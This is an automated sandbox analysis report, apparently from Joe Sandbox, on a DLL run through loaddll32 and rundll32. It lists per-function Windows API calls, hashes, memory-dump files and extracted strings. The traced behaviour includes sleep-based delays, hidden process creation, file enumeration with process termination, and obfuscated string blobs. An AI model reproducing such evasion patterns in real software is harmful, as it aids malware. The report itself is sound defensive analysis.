Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CE0094D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CE00993
GetLastError.KERNEL32 ref: 6CE00A36

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bc68c3bd2bc26256e110de4a282d6b772efef14b899b45227811403e54d8451e
Instruction ID: 2d6a87b8e55e569e0540d40fa4379cc16b0c1aa0be63e6f0242588881d453619
Opcode Fuzzy Hash: bc68c3bd2bc26256e110de4a282d6b772efef14b899b45227811403e54d8451e
Instruction Fuzzy Hash: ADD18D75E042889FDF01CFA8C8809EDBBB5FF49314F24416AE465EBB51E730A952CB90

Function 6CE08E93 Relevance: 6.1, APIs: 4, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,6CE087FF), ref: 6CE08EAC
mydllmain.UIFTTNKL2R(00000001,?,?), ref: 6CE09020
mydllmain.UIFTTNKL2R(00000002,?,?), ref: 6CE09066

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: mydllmain$DecodePointer
String ID:
API String ID: 253863441-0
Opcode ID: 64c69bc371721079bdc1bf258f2505dcba8f2cd72626474b2ed07cb28abb47f4
Instruction ID: f36482295d6ae8d1249328a3bfa198cc7fe444f9f309419e268ec8cee64289aa
Opcode Fuzzy Hash: 64c69bc371721079bdc1bf258f2505dcba8f2cd72626474b2ed07cb28abb47f4
Instruction Fuzzy Hash: EA516E71B0450ECBCF108FA9D84A2AD7B75FF46318F310146E490AAF65CB758576CB94

Function 6CE01746 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

GetLastError.KERNEL32 ref: 6CE017AA
__dosmaperr.LIBCMT ref: 6CE017B1
GetLastError.KERNEL32(?,?,?,?), ref: 6CE017EB
__dosmaperr.LIBCMT ref: 6CE017F2

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 05327dd2c701c0f1a7c116ec7e5a8d3fefa493dd10110a8d0609399f618fc631
Instruction ID: e4e178805b4d84699e39adf2c7582494381897765bbe1f4bcf2c3237eedc91e5
Opcode Fuzzy Hash: 05327dd2c701c0f1a7c116ec7e5a8d3fefa493dd10110a8d0609399f618fc631
Instruction Fuzzy Hash: 1921A131704709AF8B119FE6888099BB7B9FF0236D728461DE8249BF50E735ED6587E0

Function 6CE02A9A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6CE02AA2

Part of subcall function 6CE029F7: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CE06F4F,?,00000000,-00000008), ref: 6CE02A58

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CE02ADA
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6CE02AFA

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 646016e230ab1faf1221836b8924076f2170056eae2348ccc58a57dc8f990b7d
Instruction ID: bc299266615f033433fceab422444576d3a487d0c7add8bbb701df64d653b1af
Opcode Fuzzy Hash: 646016e230ab1faf1221836b8924076f2170056eae2348ccc58a57dc8f990b7d
Instruction Fuzzy Hash: F411C8B1B016167FAA211BB59C8CCAF79FCEF6A29C7250118F810D2600FF61DE2685F5

Function 6CE07FFD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,6CDFB3AB,00000000,00000000,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000), ref: 6CE08014
GetLastError.KERNEL32(?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?,?,?,6CE01064,00000000), ref: 6CE08020

Part of subcall function 6CE07FE6: CloseHandle.KERNEL32(FFFFFFFE,6CE08030,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?,?), ref: 6CE07FF6

___initconout.LIBCMT ref: 6CE08030

Part of subcall function 6CE07FA8: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CE07FD7,6CE0667E,?,?,6CE00A8A,?,00000000,00000000,?), ref: 6CE07FBB

WriteConsoleW.KERNEL32(00000000,00000000,6CDFB3AB,00000000,?,6CE06691,00000000,00000001,?,?,?,6CE00A8A,?,00000000,00000000,?), ref: 6CE08045

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 37fe1c7d61852559f6f74be2488bb471c1462b4f644afdb947b44810a8cd1f59
Instruction ID: ae0e8ae2bedb407b99114540c7c5e66b801302afc096c9d5f94265ab553b0e30
Opcode Fuzzy Hash: 37fe1c7d61852559f6f74be2488bb471c1462b4f644afdb947b44810a8cd1f59
Instruction Fuzzy Hash: 85F09236B45118BBCF221E96CC09A8A3F76FB0A3A5F145514FA2996660D7328930DBD4

Function 6CDF4B2B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6CDF4B50

Strings

MOC, xrefs: 6CDF4B62
RCC, xrefs: 6CDF4B6A

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ce801cd692d3be67632b8fe6154fac62e3d0384acc0ec761ea2b0578f3760996
Instruction ID: a584b4cf2513032bfd38ae0f042e7a4af276e18fcecbe1849f6c396b7004ec98
Opcode Fuzzy Hash: ce801cd692d3be67632b8fe6154fac62e3d0384acc0ec761ea2b0578f3760996
Instruction Fuzzy Hash: C1417C72900209EFDF06CF94CE90AEE7BB5FF48308F164159F9286B621D3359A52DB61

Function 6CDFFA63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(00000FA0,-00000020,6CE00071,6CE00071,-00000020,00000FA0,00000000,00000000,?,?), ref: 6CDFFA93
InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,6CE00071,-00000020,00000FA0,00000000,00000000,?,?), ref: 6CDFFAA3

Strings

InitializeCriticalSectionEx, xrefs: 6CDFFA73

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpinmydllmain
String ID: InitializeCriticalSectionEx
API String ID: 3077948437-3084827643
Opcode ID: da1736f322bb6d95879742bd3d230748d53592139b0e112d7ba787c49aaf225f
Instruction ID: e9e583202fbbc44453027d5fa05d0c3820dc0eea9fef5a97acb3218950ce6ff5
Opcode Fuzzy Hash: da1736f322bb6d95879742bd3d230748d53592139b0e112d7ba787c49aaf225f
Instruction Fuzzy Hash: 49E0653AA41118FBCF112FA4CC08D9E7F71FB04760B118820F92819A20C7328971EBE0

Function 6CDFFA21 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(?,00000001,6CDF5FC1,00000001,?,6CDFBC5B,?,?,?,?,?,00000000,6CDFA99A,?,00000000,00000001), ref: 6CDFFA4E

Strings

ccs, xrefs: 6CDFFA27
FlsSetValue, xrefs: 6CDFFA31

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: mydllmain
String ID: FlsSetValue$ccs
API String ID: 979097349-2990521015
Opcode ID: 5aac5473019fc6fd40fc656be20b0dc786fb63fcddf97eb1e833f838aeeb006b
Instruction ID: b1cd2b101636d16eb44f062e61b34da374df09e6815f4be88b3fe25491bfc26e
Opcode Fuzzy Hash: 5aac5473019fc6fd40fc656be20b0dc786fb63fcddf97eb1e833f838aeeb006b
Instruction Fuzzy Hash: 2BE0CD32F4102CB3C61027859C08ED7BF75F7407B2B118461FE2465721DA325931C7D0

Function 6CDFF964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

mydllmain.UIFTTNKL2R(?), ref: 6CDFF98E
TlsAlloc.KERNEL32 ref: 6CDFF998

Strings

FlsAlloc, xrefs: 6CDFF974

Memory Dump Source

Source File: 00000000.00000002.1751675961.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1751656860.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751699471.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751718593.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1751739620.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_loaddll32.jbxd

Similarity

API ID: Allocmydllmain
String ID: FlsAlloc
API String ID: 2444374858-671089009
Opcode ID: 48b098a2ba1b1b700a4fa5a18037902422f65498037332ec06771489e4415e0b
Instruction ID: 67a4105f989c2954a36a5debe8df89624b72cb9b2c8e13de425874eee37125d0
Opcode Fuzzy Hash: 48b098a2ba1b1b700a4fa5a18037902422f65498037332ec06771489e4415e0b
Instruction Fuzzy Hash: 0EE0C236B81228B38A2033508C09A9F7E74EB51765B124420F92851B51CB715922C2E5

Analysis Process: rundll32.exePID: 7392, Parent PID: 7332COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1408
Total number of Limit Nodes:	2

Executed Functions

Function 6CDF15A4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00000000,42800FE9,000003E8,00000000,00000000,?,6CE0A62A,000000FF), ref: 6CDF165C
TerminateProcess.KERNEL32(00000000), ref: 6CDF171F
CloseHandle.KERNEL32 ref: 6CDF172B
CloseHandle.KERNEL32 ref: 6CDF1737

Part of subcall function 6CDF1795: __fread_nolock.LIBCMT ref: 6CDF1871

FindNextFileW.KERNELBASE(00000000,00000000), ref: 6CDF1753

Strings

%s\%s, xrefs: 6CDF169E, 6CDF16F4
%s\*.*, xrefs: 6CDF1634

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: CloseFileFindHandle$FirstNextProcessTerminate__fread_nolock
String ID: %s\%s$%s\*.*
API String ID: 859259384-1665845743
Opcode ID: daa46c265728f1e10271b7be5fa1ecebb2950890d2d91d0af766eb5ac405411b
Instruction ID: 5e7857db29002d19b6464a18beda198aed04040c2ba8fcc881a50b29a8f28aa3
Opcode Fuzzy Hash: daa46c265728f1e10271b7be5fa1ecebb2950890d2d91d0af766eb5ac405411b
Instruction Fuzzy Hash: 9351D9B1A00288EBDF60DF65CC44BDD77B8FF48318F05452AE928D76A0DB749A49CB50

Function 6CDF2808 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 175
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00000032,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28A9
Sleep.KERNELBASE(000005DC,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28C4
Sleep.KERNELBASE(00007530,?,?,?,?,?,?,?,?,00000001,00000000,?,00000000), ref: 6CDF28CB
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6CDF2A0E

Strings

[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6CDF28CD
%s%s, xrefs: 6CDF2916, 6CDF297A
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6CDF2933
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6CDF2833
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B, xrefs: 6CDF2997

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: EnvironmentSleep$ExpandStringsVariable
String ID: %s%s$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7B$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 861455210-3053068940
Opcode ID: 849225d2624ff1fcbfb769b65df20eb43f01b53e5362d9c6911dbae3b889e611
Instruction ID: 8b2cce811761a3b0ae0293af001adb6dda5805146fd3fb706382c418740a64f2
Opcode Fuzzy Hash: 849225d2624ff1fcbfb769b65df20eb43f01b53e5362d9c6911dbae3b889e611
Instruction Fuzzy Hash: E6515FB1408385AAC725DF60DC44DEBB7FCFF85208F41491EA9A587650DB35A60ECBA2

Function 6CDF141E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125
sleepprocessCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB,?), ref: 6CDF1560
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6CE14454), ref: 6CDF1583

Strings

%s %s, xrefs: 6CDF1545
TDl, xrefs: 6CDF14C0
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB, xrefs: 6CDF14C5
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6CDF1448

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: CreateProcessSleep
String ID: %s %s$TDl$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BfdAoBKRBZRA{B@7BgBA7BKRB
API String ID: 3229676899-3317557193
Opcode ID: 478dc749a24c50df44ecbda8563248f8a9ba81afbeb5f1d3be66cde9e215a380
Instruction ID: 07f9d998f9d597b6f556a33fbd93179fc871f09c5f8173809abb938d9037710a
Opcode Fuzzy Hash: 478dc749a24c50df44ecbda8563248f8a9ba81afbeb5f1d3be66cde9e215a380
Instruction Fuzzy Hash: EF4180B1508384BFD720DB64CC84EEBBBECFF89248F41491DB69586650EB34991DC7A2

Function 6CDF1000 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6CDF1014

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8731eebefaf75133d75445b54be57ed9d2ca1ae2cb0e9188cbb7d4ec126d73d6
Instruction ID: 843ab81ce087ceb500f280a798c7b6aa4360eacd78d4853cd95031ee7ee6a3e7
Opcode Fuzzy Hash: 8731eebefaf75133d75445b54be57ed9d2ca1ae2cb0e9188cbb7d4ec126d73d6
Instruction Fuzzy Hash: EBB09231A95281D6C240A760844CB2AB6A4BF6234FF29C428E07980560CB2180AA9632

Non-executed Functions

Function 6CE03D30 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362ef1cc790e621639e128e73b9871dfcc67a5d3f97bb9d42cbb1d692720c59a
Instruction ID: 8f9114e3bcab13c2d5c7dbf33fd3d9098a92bd24c42997b547f7e8202b67d6a5
Opcode Fuzzy Hash: 362ef1cc790e621639e128e73b9871dfcc67a5d3f97bb9d42cbb1d692720c59a
Instruction Fuzzy Hash: 80026C71E012199BDB14CFA9C980ADEFBF1FF58318F24826AD519E7781D731A916CB80

Function 6CDF3621 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6CDF362D
IsDebuggerPresent.KERNEL32 ref: 6CDF36F9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CDF3712
UnhandledExceptionFilter.KERNEL32(?), ref: 6CDF371C

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1fc575a190d65336665f269fff2abba6c97669446670aae2d412a08b1bcab73d
Instruction ID: 7057dce7e64a2dea43bb51cd22aebe137a5eefc2aeba7e31e8cd9947e0e0ab53
Opcode Fuzzy Hash: 1fc575a190d65336665f269fff2abba6c97669446670aae2d412a08b1bcab73d
Instruction Fuzzy Hash: 823127B5D05218DBDF20DFA4D9897CDBBB8BF08304F1141AAE41CAB250EB719A858F45

Function 6CE06329 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CE06070: CreateFileW.KERNEL32(00000000,00000000,?,6CE063D2,?,?,00000000,?,6CE063D2,00000000,0000000C), ref: 6CE0608D

GetLastError.KERNEL32 ref: 6CE0643D
__dosmaperr.LIBCMT ref: 6CE06444
GetFileType.KERNEL32(00000000), ref: 6CE06450
GetLastError.KERNEL32 ref: 6CE0645A
__dosmaperr.LIBCMT ref: 6CE06463
CloseHandle.KERNEL32(00000000), ref: 6CE06483
CloseHandle.KERNEL32(00000000), ref: 6CE065D0
GetLastError.KERNEL32 ref: 6CE06602
__dosmaperr.LIBCMT ref: 6CE06609

Strings

H, xrefs: 6CE0658E

Memory Dump Source

Source File: 00000003.00000002.1722835798.000000006CDF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000003.00000002.1722777207.000000006CDF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723035391.000000006CE0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723081682.000000006CE13000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1723136585.000000006CE15000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cdf0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d3f22ef862b965942c272c16a11c98257fb83b5597d972cfd745b84c5de87379
Instruction ID: 45b338f39885e80bcd4acd9d75af6a638e8c99389cca5c9b90409eb0be9cac87
Opcode Fuzzy Hash: d3f22ef862b965942c272c16a11c98257fb83b5597d972cfd745b84c5de87379
